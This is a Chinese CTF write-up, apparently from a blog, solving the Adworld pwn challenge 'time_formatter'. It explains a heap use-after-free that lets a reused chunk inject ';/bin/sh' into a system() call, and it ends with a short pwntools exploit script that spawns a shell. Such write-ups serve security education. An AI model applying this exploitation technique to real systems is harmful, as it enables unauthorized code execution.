堆UAF-攻防世界time_formatter

终于来到了传说中的堆,这是攻防世界里面的堆第一次,刚遇到的时候有点懵逼,看了wp也看不懂,后来才知道是堆题。。。

嗯,我回来了,哈哈哈哈,首先详细了分析了一波题目,先把重要的函数例举出来

堆UAF-攻防世界time_formatter_第1张图片

堆UAF-攻防世界time_formatter_第2张图片

堆UAF-攻防世界time_formatter_第3张图片

堆UAF-攻防世界time_formatter_第4张图片

堆UAF-攻防世界time_formatter_第5张图片

纵观全局在我菜鸟看来就只有个system(“asdadasd;/bin/sh;as21sad12e”);这个漏洞,因为system的参数由我们控制,所以就有无限可能,这里有两个全局变量,第一个被格式化为整型了,另一个是字符串类型,那么就是构造";/bin/sh;"的最好容器,嗯,如图:可以看到ida列出来对ptr的操作只有3个

堆UAF-攻防世界time_formatter_第6张图片

分别是一个malloc后的赋值、free释放和现在的system参数,但是呢通过malloc赋值那里有格式字符的限制输入不了";",然后再看程序总共可供我们输入的有分别是1、2、3这3个接收分别对应3个全局变量,前面说了dword_602120会直接变为整型用不了,那么就只有对value赋值这个函数有操作空间了。

通过学习malloc函数定义知识知道,malloc开辟内存后需要free释放并且对返回的指针置空,如果不释放会造成内存泄漏,指针不置空则会造成内存空间复用(glibc内存重新分配),因为这里没有在释放内存对指针进行初始化处理,就可以利用堆重新分配规则使我们输入的值指向上一个free chunk的地址

嗯,看demo

首先输入1开辟一块内存进行赋值操作然后输入AAAAAAAA,就可看到通过malloc(函数中strdup就是(strcpy + malloc)的结合)我们的chunk再看看它的数据

堆UAF-攻防世界time_formatter_第7张图片

堆UAF-攻防世界time_formatter_第8张图片

然后再看看全局变量ptr的值

堆UAF-攻防世界time_formatter_第9张图片

堆UAF-攻防世界time_formatter_第10张图片

然后再对它进行释放,这样我们再申请同样大小的内存就会让这块chunk进行重新分配了

这里再选5、输入n保证程序不退出进行free chunk,此时的chunk数据为:

堆UAF-攻防世界time_formatter_第11张图片

那么这时再通过malloc申请一样大小的内存、我们选择3、再输入我们的’;/bin/sh’再看看heap信息是否如期所致如图:可以看到之前free 的chunk已经被重新复用了,并且地址还是指向之前的位置,上面parseheap的status显示freed有点问题,时不时会这样显示不对,但看内存数据就可以了,因为没有fd和bk所以它是使用中的chunk

堆UAF-攻防世界time_formatter_第12张图片

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BZsjcAJO-1637663558105)(heap_1(攻防世界time_formatter).assets/image-20211123182021768.png)]

最后的exp:

sla = lambda delim, data: p.sendlineafter(delim, data)

sla('> ','1')
sla('Format: ','%s')
sla('> ','5')
sla('?','n')
sla('> ','3')
sla('Time zone: ',"\';/bin/sh\'")
sla('> ','4')
p.interactive()

你可能感兴趣的:(pwn题目,pwn,安全)